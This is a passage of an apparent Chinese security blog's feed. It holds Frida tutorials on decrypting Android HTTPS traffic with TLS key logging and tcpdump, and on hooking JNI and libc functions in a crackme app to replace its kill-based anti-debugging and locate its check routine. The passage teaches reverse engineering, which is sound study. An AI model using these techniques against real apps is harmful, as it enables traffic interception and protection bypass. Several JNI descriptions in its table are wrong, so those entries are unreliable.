href="https://xz.aliyun.com/t/14336" target="_blank" rel="noopener">https://xz.aliyun.com/t/14336</a><br><a href="https://www.freebuf.com/column/231111.html" target="_blank" rel="noopener">https://www.freebuf.com/column/231111.html</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;环境搭建&quot;&gt;&lt;a href=&quot;#环境搭建&quot; class=&quot;headerlink&quot; title=&quot;环境搭建&quot;&gt;&lt;/a&gt;环境搭建&lt;/h1&gt;&lt;p&gt;环境下载地址：&lt;a href=&quot;http://vulnstack.qiyuanxuetang.net/vuln/detail
      
    
    </summary>
    
    
      <category term="靶场，内网渗透" scheme="https://www.giantbranch.cn/tags/%E9%9D%B6%E5%9C%BA%EF%BC%8C%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>安卓利用frida+tcpdump抓https包</title>
    <link href="https://www.giantbranch.cn/2024/03/25/%E5%AE%89%E5%8D%93%E5%88%A9%E7%94%A8frida+tcpdump%E6%8A%93https%E5%8C%85/"/>
    <id>https://www.giantbranch.cn/2024/03/25/安卓利用frida+tcpdump抓https包/</id>
    <published>2024-03-24T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:49.214Z</updated>
    
    <content type="html"><![CDATA[<p>使用的方案：<a href="https://github.com/lasting-yang/frida_bypass_ssl_example" target="_blank" rel="noopener">https://github.com/lasting-yang/frida_bypass_ssl_example</a></p><p>下载tcpdump<br><a href="https://www.androidtcpdump.com/android-tcpdump/downloads64bit" target="_blank" rel="noopener">https://www.androidtcpdump.com/android-tcpdump/downloads64bit</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">adb push .\tcpdump /data/local/tmp</span><br><span class="line"></span><br><span class="line"> ~  adb shell</span><br><span class="line">OnePlus3:/ # su</span><br><span class="line">OnePlus3:/ # cd /data/local/tmp</span><br><span class="line">OnePlus3:/data/local/tmp # chmod +x tcpdump</span><br></pre></td></tr></table></figure><p>手机运行frida-server</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">OnePlus3:/data/local/tmp # ./frida-server-16.2.1-android-arm64</span><br></pre></td></tr></table></figure><p>运行获取sslkey_log</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sslkey_log.py packagename</span><br></pre></td></tr></table></figure><p>之后再安卓上开启抓包</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">data/local/tmp/tcpdump -i any -U -w test.pcap</span><br></pre></td></tr></table></figure><p>拿到电脑上wireshark打开</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">adb pull /data/local/tmp/test.pcap test.pcap</span><br></pre></td></tr></table></figure><p>配置首选项</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/9fb6cf51c2b482bd8f1bdf285fe85234_1721117030547.png" alt></p><p>tls进行过滤，就可以到解密的http的包了</p><p><img src="https://raw.githubusercontent.com/giantbranch/pic-store/master/%E5%B0%8F%E4%B9%A6%E5%8C%A0/4abeece93b3580ec1be93d9afce0bfdd_1721117030558.png" alt="enter description here"></p><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://github.com/lasting-yang/frida_bypass_ssl_example" target="_blank" rel="noopener">https://github.com/lasting-yang/frida_bypass_ssl_example</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;使用的方案：&lt;a href=&quot;https://github.com/lasting-yang/frida_bypass_ssl_example&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/lasting-yang/f
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="新建,模板,小书匠" scheme="https://www.giantbranch.cn/tags/%E6%96%B0%E5%BB%BA-%E6%A8%A1%E6%9D%BF-%E5%B0%8F%E4%B9%A6%E5%8C%A0/"/>
    
  </entry>
  
  <entry>
    <title>安卓Frida Hook进阶2</title>
    <link href="https://www.giantbranch.cn/2024/03/23/%E5%AE%89%E5%8D%93Frida%20Hook%E8%BF%9B%E9%98%B62/"/>
    <id>https://www.giantbranch.cn/2024/03/23/安卓Frida Hook进阶2/</id>
    <published>2024-03-22T16:00:00.000Z</published>
    <updated>2024-12-01T02:32:50.326Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Hook-Libart"><a href="#Hook-Libart" class="headerlink" title="Hook_Libart"></a>Hook_Libart</h1><p><code>libart.so</code>: 在 Android 5.0（Lollipop）及更高版本中，<code>libart.so</code> 是 Android 运行时（ART，Android Runtime）的核心组件，它取代了之前的 Dalvik 虚拟机。可以在 <code>libart.so</code> 里找到 JNI 相关的实现。</p><p>PS:在高于安卓10的系统里，so的路径是/apex/com.android.runtime/lib64/libart.so，低于10的则在system/lib64/libart.so</p><table><thead><tr><th>函数名称</th><th>参数</th><th>描述</th><th>返回值</th></tr></thead><tbody><tr><td><code>RegisterNatives</code></td><td><code>JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint nMethods</code></td><td>反注册类的本地方法。类将返回到链接或注册了本地方法函数前的状态。该函数不应在本地代码中使用。相反，它可以为某些程序提供一种重新加载和重新链接本地库的途径。</td><td>成功时返回0；失败时返回负数</td></tr><tr><td><code>GetStringUTFChars</code></td><td><code>JNIEnv*env, jstring string, jboolean *isCopy</code></td><td>通过JNIEnv接口指针调用，它将一个代表着Java虚拟机中的字符串jstring引用，转换成为一个UTF-8形式的C字符串</td><td>-</td></tr><tr><td><code>NewStringUTF</code></td><td><code>JNIEnv *env, const char *bytes</code></td><td>以字节为单位返回字符串的 UTF-8 长度</td><td>返回字符串的长度</td></tr><tr><td><code>FindClass</code></td><td><code>JNIEnv *env, const char *name</code></td><td>通过对象获取这个类。该函数比较简单，唯一注意的是对象不能为NULL，否则获取的class肯定返回也为NULL。</td><td>-</td></tr><tr><td><code>GetMethodID</code></td><td><code>JNIEnv *env, jclass clazz, const char *name, const char *sig</code></td><td>返回类或接口实例（非静态）方法的方法 ID。方法可在某个 clazz 的超类中定义，也可从 clazz 继承。GetMethodID() 可使未初始化的类初始化。</td><td>方法ID，如果找不到指定的方法，则为NULL</td></tr><tr><td><code>GetStaticMethodID</code></td><td><code>JNIEnv *env, jclass clazz, const char *name, const char *sig</code></td><td>获取类对象的静态方法ID</td><td>属性ID对象。如果操作失败，则返回NULL</td></tr><tr><td><code>GetFieldID</code></td><td><code>JNIEnv *env, jclass clazz, const char *name, const char *sig</code></td><td>回Java类（非静态）域的属性ID。该域由其名称及签名指定。访问器函数的<code>Get&lt;type&gt;Field</code> 及 <code>Set&lt;type&gt;Field</code>系列使用域 ID 检索对象域。GetFieldID() 不能用于获取数组的长度域。应使用GetArrayLength()。</td><td>-</td></tr><tr><td><code>GetStaticFieldID</code></td><td><code>JNIEnv *env,jclass clazz, const char *name, const char *sig</code></td><td>获取类的静态域ID方法</td><td>-</td></tr><tr><td><code>Call&lt;type&gt;Method</code>, <code>Call&lt;type&gt;MethodA</code>, <code>Call&lt;type&gt;MethodV</code></td><td><code>JNIEnv *env, jobject obj, jmethodID methodID, .../jvalue *args/va_list args</code></td><td>这三个操作的方法用于从本地方法调用Java 实例方法。它们的差别仅在于向其所调用的方法传递参数时所用的机制。</td><td>NativeType，具体的返回值取决于调用的类型</td></tr></tbody></table><p>主要用得多的是hook_RegisterNatives.js：hook打印动态注册的函数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"> ~  frida -U -f com.zj.wuaipojie -l .\hook_RegisterNatives.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   /_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line">Spawning `com.zj.wuaipojie`...</span><br><span class="line">RegisterNatives is at  0x74e977a018 _ZN3art3JNIILb0EE15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi</span><br><span class="line">RegisterNatives is at  0x74e97e39f0 _ZN3art3JNIILb1EE15RegisterNativesEP7_JNIEnvP7_jclassPK15JNINativeMethodi</span><br><span class="line">Spawned `com.zj.wuaipojie`. Resuming main thread!</span><br><span class="line">[ONEPLUS A3000::com.zj.wuaipojie ]-&gt; [RegisterNatives] method_count: 0x1</span><br><span class="line">[RegisterNatives] java_class: android.util.StatsLog name: writeImpl sig: ([BII)V fnPtr: 0x7475276214  fnOffset: 0x7475276214 libstats_jni.so!0x1214  callee: 0x747527618c libstats_jni.so!JNI_OnLoad+0xa8</span><br><span class="line">[RegisterNatives] method_count: 0x1</span><br><span class="line">[RegisterNatives] java_class: com.zj.wuaipojie.util.SecurityUtil name: check sig: (Ljava/lang/String;)Z fnPtr: 0x74dcd9a3b4  fnOffset: 0x74dcd9a3b4 lib52pojie.so!_Z5checkP7_JNIEnvP7_jclassP8_jstring  callee: 0x74dcd9a514 lib52pojie.so!JNI_OnLoad+0xac</span><br></pre></td></tr></table></figure><h2 id="hook-GetStringUTFChars"><a href="#hook-GetStringUTFChars" class="headerlink" title="hook_GetStringUTFChars"></a>hook_GetStringUTFChars</h2><p>这个的坑点在于：有两个GetStringUTFChars地址，选择第一个就好（默认就变成hook第二个了）,不行就通过上面的name.indexOf(“b1EE”) == -1过滤,或者下面添加break退出循环</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">function hook_GetStringUTFChars() &#123;</span><br><span class="line">    var GetStringUTFChars_addr = null;</span><br><span class="line"></span><br><span class="line">    // jni 系统函数都在 libart.so 中</span><br><span class="line">    var module_libart = Process.findModuleByName(&quot;libart.so&quot;);</span><br><span class="line">    var symbols = module_libart.enumerateSymbols();</span><br><span class="line">    for (var i = 0; i &lt; symbols.length; i++) &#123;</span><br><span class="line">        var name = symbols[i].name;</span><br><span class="line">        if ((name.indexOf(&quot;JNI&quot;) &gt;= 0) </span><br><span class="line">            // &amp;&amp; (name.indexOf(&quot;CheckJNI&quot;) == -1 &amp;&amp; (name.indexOf(&quot;b1EE&quot;) == -1))</span><br><span class="line">            &amp;&amp; (name.indexOf(&quot;CheckJNI&quot;) == -1)</span><br><span class="line">            &amp;&amp; (name.indexOf(&quot;art&quot;) &gt;= 0)) &#123;</span><br><span class="line">            if (name.indexOf(&quot;GetStringUTFChars&quot;) &gt;= 0) &#123;</span><br><span class="line">                // 获取到指定 jni 方法地址</span><br><span class="line">                GetStringUTFChars_addr = symbols[i].address;</span><br><span class="line">                </span><br><span class="line">                console.log(&quot;name: &quot;, name);// 有两个地址，选择第一个就好,不行就通过上面的name.indexOf(&quot;b1EE&quot;) == -1过滤,或者下面添加break退出循环</span><br><span class="line">                console.log(&quot;GetStringUTFChars addr: &quot;, GetStringUTFChars_addr);</span><br><span class="line">                break;</span><br><span class="line">                </span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        console.log(&quot;实际的GetStringUTFChars addr: &quot;, GetStringUTFChars_addr);</span><br><span class="line">        Interceptor.attach(GetStringUTFChars_addr, &#123;</span><br><span class="line">            onEnter: function(args)&#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            &#125;, onLeave: function(retval)&#123;</span><br><span class="line">                // retval const char*</span><br><span class="line">console.log(&quot;GetStringUTFChars onLeave : &quot;, ptr(retval).readCString());</span><br><span class="line">if(ptr(retval).readCString().indexOf(&quot;普通&quot;) &gt;=0)&#123;</span><br><span class="line">console.log(&quot;GetStringUTFChars onLeave : &quot;, ptr(retval).readCString());</span><br><span class="line">console.log(Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join(&apos;\n&apos;) + &apos;\n&apos;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line">function main()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        hook_GetStringUTFChars();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125; </span><br><span class="line">setImmediate(main);</span><br></pre></td></tr></table></figure><p>运行实例：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"> ~  frida -U wuaipojie -l .\hook_GetStringUTFChars.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   /_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line">Attaching...</span><br><span class="line">name:  _ZN3art3JNIILb0EE17GetStringUTFCharsEP7_JNIEnvP8_jstringPh</span><br><span class="line">GetStringUTFChars addr:  0x74e9764548</span><br><span class="line">实际的GetStringUTFChars addr:  0x74e9764548</span><br><span class="line">[ONEPLUS A3000::wuaipojie ]-&gt; GetStringUTFChars onLeave :  /data/app/~~mcnLRJYrvfwmPs1SzDLDLw==/com.zj.wuaipojie-qBIKQBAAXl2V9AjNVNrtkw==/lib/arm64/lib52pojie.so</span><br><span class="line">GetStringUTFChars onLeave :  /data/app/~~mcnLRJYrvfwmPs1SzDLDLw==/com.zj.wuaipojie-qBIKQBAAXl2V9AjNVNrtkw==/lib/arm64/lib52pojie.so</span><br><span class="line">GetStringUTFChars onLeave :  com.zj.wuaipojie</span><br><span class="line">GetStringUTFChars onLeave :  android.widget.TextView</span><br><span class="line">GetStringUTFChars onLeave :  普通</span><br><span class="line">GetStringUTFChars onLeave :  普通</span><br><span class="line">0x74d6d90588 lib52pojie.so!Java_com_zj_wuaipojie_util_SecurityUtil_vipLevel+0x3c</span><br><span class="line">0x74782e03f0 base.odex!0x3f3f0</span><br><span class="line">0x74782e03f0 base.odex!0x3f3f0</span><br></pre></td></tr></table></figure><h1 id="Hook-Libc"><a href="#Hook-Libc" class="headerlink" title="Hook_Libc"></a>Hook_Libc</h1><p><code>libc.so</code>: 这是一个标准的 C 语言库，用于提供基本的系统调用和功能，如文件操作、字符串处理、内存分配等。在Android系统中，<code>libc</code> 是最基础的库之一。</p><h2 id="hook-kill"><a href="#hook-kill" class="headerlink" title="hook_kill"></a>hook_kill</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">function replaceKILL() &#123;</span><br><span class="line">    // 查找libc.so库中kill函数的地址</span><br><span class="line">    var kill_addr = Module.findExportByName(&quot;libc.so&quot;, &quot;kill&quot;);</span><br><span class="line">    // 使用Interceptor.replace来替换kill函数</span><br><span class="line">    Interceptor.replace(kill_addr, new NativeCallback(function (arg0, arg1) &#123;</span><br><span class="line">        // 当kill函数被调用时，打印第一个参数（通常是进程ID）</span><br><span class="line">        console.log(&quot;arg0=&gt; &quot;, arg0);</span><br><span class="line">        // 打印第二个参数（通常是发送的信号）</span><br><span class="line">        console.log(&quot;arg1=&gt; &quot;, arg1);</span><br><span class="line">        // 打印调用kill函数的堆栈跟踪信息</span><br><span class="line">        console.log(&apos;libc.so!kill called from:\n&apos; +</span><br><span class="line">            Thread.backtrace(this.context, Backtracer.ACCURATE)</span><br><span class="line">            .map(DebugSymbol.fromAddress).join(&apos;\n&apos;) + &apos;\n&apos;);</span><br><span class="line">    &#125;, &quot;int&quot;, [&quot;int&quot;, &quot;int&quot;]))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function main()&#123;</span><br><span class="line">    Java.perform(function()&#123;</span><br><span class="line">        replaceKILL();</span><br><span class="line">    &#125;);</span><br><span class="line">&#125; </span><br><span class="line">setImmediate(main);</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"> ~  frida -U wuaipojie -l .\hook_kill.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   /_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line"></span><br><span class="line">[ONEPLUS A3000::wuaipojie ]-&gt; arg0=&gt;  29458</span><br><span class="line">arg1=&gt;  9</span><br><span class="line">libc.so!kill called from:</span><br><span class="line">0x74e94beed8 libart.so!art_quick_generic_jni_trampoline+0x98</span><br><span class="line">0x74e94beed8 libart.so!art_quick_generic_jni_trampoline+0x98</span><br><span class="line"></span><br><span class="line">Error: expected an integer</span><br></pre></td></tr></table></figure><h2 id="hook-pthread-create"><a href="#hook-pthread-create" class="headerlink" title="hook_pthread_create"></a>hook_pthread_create</h2><p>下面反调试，应该是反调试的代码在pthread_create新建的线程中实现</p><p>下面只是进行输出，没有进行一些修改操作</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">function hook_pthread_create()&#123;</span><br><span class="line">    //hook反调试</span><br><span class="line">    var pthread_create_addr = Module.findExportByName(&quot;libc.so&quot;, &quot;pthread_create&quot;);</span><br><span class="line">    console.log(&quot;pthread_create_addr: &quot;, pthread_create_addr);</span><br><span class="line">    Interceptor.attach(pthread_create_addr,&#123;</span><br><span class="line">        onEnter:function(args)&#123;</span><br><span class="line">            console.log(args[0], args[1], args[2], args[4]);</span><br><span class="line">        &#125;,onLeave:function(retval)&#123;</span><br><span class="line">            console.log(&quot;retval is =&gt;&quot;,retval)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> ~  frida -U wuaipojie -l .\hook_libc.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   /_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line">Attaching...</span><br><span class="line">pthread_create_addr:  0x777d7ffc88</span><br><span class="line">[ONEPLUS A3000::wuaipojie ]-&gt; 0x74db4a9ab8 0x0 0x777b8cdd74 0x0</span><br><span class="line">retval is =&gt; 0x0</span><br><span class="line">0x7fc751b7e8 0x7fc751b820 0x74e9930358 0x0</span><br><span class="line">retval is =&gt; 0x0</span><br></pre></td></tr></table></figure><h2 id="hook-str-cmp"><a href="#hook-str-cmp" class="headerlink" title="hook_str_cmp"></a>hook_str_cmp</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">function hook_strcmp() &#123;</span><br><span class="line">    var pt_strcmp = Module.findExportByName(&quot;libc.so&quot;, &apos;strcmp&apos;);</span><br><span class="line">    Interceptor.attach(pt_strcmp, &#123;</span><br><span class="line">        onEnter: function (args) &#123;</span><br><span class="line">            var str1 = args[0].readCString();</span><br><span class="line">            var str2 = args[1].readCString();</span><br><span class="line">            if (str1.indexOf(&quot;test&quot;) !== -1 || str2.indexOf(&quot;test&quot;) !== -1) &#123; // test是我们输入的字符</span><br><span class="line">                console.log(&quot;strcmp--&gt;&quot;, str1, str2);</span><br><span class="line">                this.printStack = true;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;, onLeave: function (retval) &#123;</span><br><span class="line">            if (this.printStack) &#123; </span><br><span class="line">                var stack = Thread.backtrace(this.context, Backtracer.ACCURATE)</span><br><span class="line">                    .map(DebugSymbol.fromAddress).join(&quot;\n&quot;);</span><br><span class="line">                console.log(&quot;Stack trace:\n&quot; + stack);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"> ~  frida -U wuaipojie -l .\hook_libc.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   /_/ |_|       help      -&gt; Displays the help system</span><br><span class="line">   . . . .       object?   -&gt; Display information about &apos;object&apos;</span><br><span class="line">   . . . .       exit/quit -&gt; Exit</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   More info at https://frida.re/docs/home/</span><br><span class="line">   . . . .</span><br><span class="line">   . . . .   Connected to ONEPLUS A3000 (id=1c7dbd17)</span><br><span class="line"></span><br><span class="line">[ONEPLUS A3000::wuaipojie ]-&gt; strcmp--&gt; wuaipojie2023 test</span><br><span class="line">Stack trace:</span><br><span class="line">0x74866d04d0 lib52pojie.so!_Z5checkP7_JNIEnvP7_jclassP8_jstring+0x4c</span><br><span class="line">0x74866d04d0 lib52pojie.so!_Z5checkP7_JNIEnvP7_jclassP8_jstring+0x4c</span><br><span class="line">0x74866d04d0 lib52pojie.so!_Z5checkP7_JNIEnvP7_jclassP8_jstring+0x4c</span><br></pre></td></tr></table></figure><h1 id="Hook-Libdl"><a href="#Hook-Libdl" class="headerlink" title="Hook_Libdl"></a>Hook_Libdl</h1><p><code>libdl.so</code>是一个处理动态链接和加载的标准库，它提供了<code>dlopen</code>、<code>dlclose</code>、<code>dlsym</code>等函数，用于在运行时动态地加载和使用共享库</p><table><thead><tr><th>别</th><th>函数名称</th><th>参数</th><th>描述</th></tr></thead><tbody><tr><td>动态链接库操作</td><td>dlopen</td><td><code>const char *filename, int flag</code></td><td>打开动态链接库文件</td></tr><tr><td></td><td>dlsym</td><td><code>void *handle, const char *symbol</code></td><td>从动态链接库中获取符号地址</td></tr></tbody></table><p><code>Hook_dlsym</code>获取jni静态注册方法地址</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">function hook_dlsym() &#123;</span><br><span class="line">    var dlsymAddr = Module.findExportByName(&quot;libdl.so&quot;, &quot;dlsym&quot;);</span><br><span class="line">    Interceptor.attach(dlsymAddr, &#123;</span><br><span class="line">        onEnter: function(args) &#123;</span><br><span class="line">            this.args1 = args[1];</span><br><span class="line">        &#125;,</span><br><span class="line">        onLeave: function(retval) &#123;</span><br><span class="line">            var module = Process.findModuleByAddress(retval);</span><br><span class="line">            if (module === null) return; </span><br><span class="line">            console.log(this.args1.readCString(), module.name, retval, retval.sub(module.base));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">~  frida -U wuaipojie -l .\hook_libdl.js</span><br><span class="line">     ____</span><br><span class="line">    / _  |   Frida 16.2.1 - A world-class dynamic instrumentation toolkit</span><br><span class="line">   | (_| |</span><br><span class="line">    &gt; _  |   Commands:</span><br><span class="line">   